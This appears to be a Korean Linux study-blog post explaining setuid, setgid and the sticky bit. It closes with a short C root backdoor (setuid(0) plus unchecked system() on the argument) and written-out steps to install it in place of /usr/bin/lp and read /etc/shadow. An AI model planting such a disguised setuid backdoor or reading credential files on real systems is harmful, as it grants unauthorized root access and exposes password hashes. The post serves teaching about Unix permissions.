RadarURL

유닉스/리눅스
2015.05.27 18:55

SETUID, SETGID, Sticky Bit

조회 수 1251 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄 첨부

setuid: short for set user id

setgid: short for set group id
 
setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.
 
setuid on executables
 
이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.
 
사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.
 
setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 
 
setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.
 
setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)
 
setuid and setgid on directories
 
setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.
 
디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 
 
Security
 
이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 
 
Sticky bit
 
- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'
 
이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 
 
아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.
 
main(int argc, char * argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);

    sprintf(exec, argv[1]);
    system(exec);
}
 
1. 소스 컴파일 
# gcc set.c -o lp
 
2. 권한 변경
# chmod 4777 lp
 
3. /usr/bin/lp 삭제
 
4. 컴파일된 lp 를 /usr/bin 로 복사
 
5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"
 
 
위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.
 
 

 

참고

 

출처 : http://codemuri.tistory.com/entry/SETUID-SETGID-Sticky-Bit

TAG •
?

공부 게시판

공부에 도움되는 글을 올려주세요.

  1. [공지] 공부 게시판 입니다.

    Date2003.08.18 By처누 Views952952
    read more
  2. [Rocky Linux 9] /home 용량 줄이고 /root 용량 늘리기

    Date2026.04.03 Category유닉스/리눅스 ByYooN Views66
    Read More
  3. [Rocky Linux] LVM 환경에서 /root 파티션 공간 부족 해결

    Date2026.04.03 Category유닉스/리눅스 ByYooN Views52
    Read More
  4. [Linux/Rocky] SSH Root 로그인하는 방법 (root 접속 허용)

    Date2026.04.01 Category유닉스/리눅스 ByYooN Views54
    Read More
  5. 리눅스 서버 설치 중 에러 "Failed to find a suitable stage1 device"

    Date2025.10.03 Category유닉스/리눅스 ByYooN Views895
    Read More
  6. Linux 11 . Linux 설치 시 lvm 수동설정

    Date2025.10.03 Category유닉스/리눅스 ByYooN Views803
    Read More
  7. [Rocky Linux] 누구나 쉽게 따라하는 Rocky Linux 9.0 OS 다운로드 및 설치 방법~!!

    Date2025.10.03 Category유닉스/리눅스 ByYooN Views765
    Read More
  8. Linux/Rocky Linux Rocky Linux : Composer 설치

    Date2025.09.29 Category유닉스/리눅스 ByYooN Views1034
    Read More
  9. [Rocky Linux] 록키 리눅스 최신 업데이트 적용 방법

    Date2025.09.29 Category유닉스/리눅스 ByYooN Views951
    Read More
  10. rocky linux 커널 업데이트

    Date2025.09.29 Category유닉스/리눅스 ByYooN Views804
    Read More
  11. Clonezilla(클론질라) 백업파일 하드디스크로 복구 방법

    Date2025.09.28 Category유닉스/리눅스 ByYooN Views892
    Read More
  12. 클론질라 사용 방법 - OS 이미지 백업 CloneZilla

    Date2025.09.28 Category유닉스/리눅스 ByYooN Views960
    Read More
  13. [Linux / Rocky] FTP 접속 관련 설정 실습 예제

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views948
    Read More
  14. Could not reliably determine the server's fully qualified domain name

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views1007
    Read More
  15. [아파치] 아파치 웹서버에 .htaccess 파일 설정하는 방법

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views909
    Read More
  16. [Linux] Apache web server의 rewrite module 사용하기 [출처] [Linux] Apache web server의 rewrite module 사용하기|작성자 g00dmoney

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views1239
    Read More
  17. 록키 리눅스 9.1에서 apache, mysql, PHP 설치

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views901
    Read More
  18. [권한문제] 라이믹스 Fatal error: Uncaught Rhymix\Framework\Exception: Cannot write template cache file

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views850
    Read More
  19. 라이믹스 php 에러 표시

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views628
    Read More
  20. Rocky Linux - 라이믹스(Rhymix) 설치하기

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views766
    Read More
  21. 라이믹스(Rhymix) 매뉴얼

    Date2025.09.23 Category유닉스/리눅스 ByYooN Views1061
    Read More
Board Pagination Prev 1 2 3 4 5 6 7 8 9 10 Next
/ 10


즐겨찾기 (가족)

JAESOO's HOMEPAGE


장여은 홈페이지


장여희 홈페이지


장여원 홈페이지


즐겨찾기 (업무)

알리카페 홀릭

숭실대 컴퓨터 통신연구실 (서창진)

말레이시아 KL Sentral 한국인 GuestHouse


즐겨찾기 (취미)

어드민아이디

유에코 사랑회

아스가르드 좋은사람/나쁜사람

JServer.kr

제이서버 메타블로그

재수 티스토리


즐겨찾기 (강의, 커뮤니티)

재수 강의 홈페이지


한소리


VTMODE.COM


숭실대 인공지능학과


숭실대 통신연구실


베너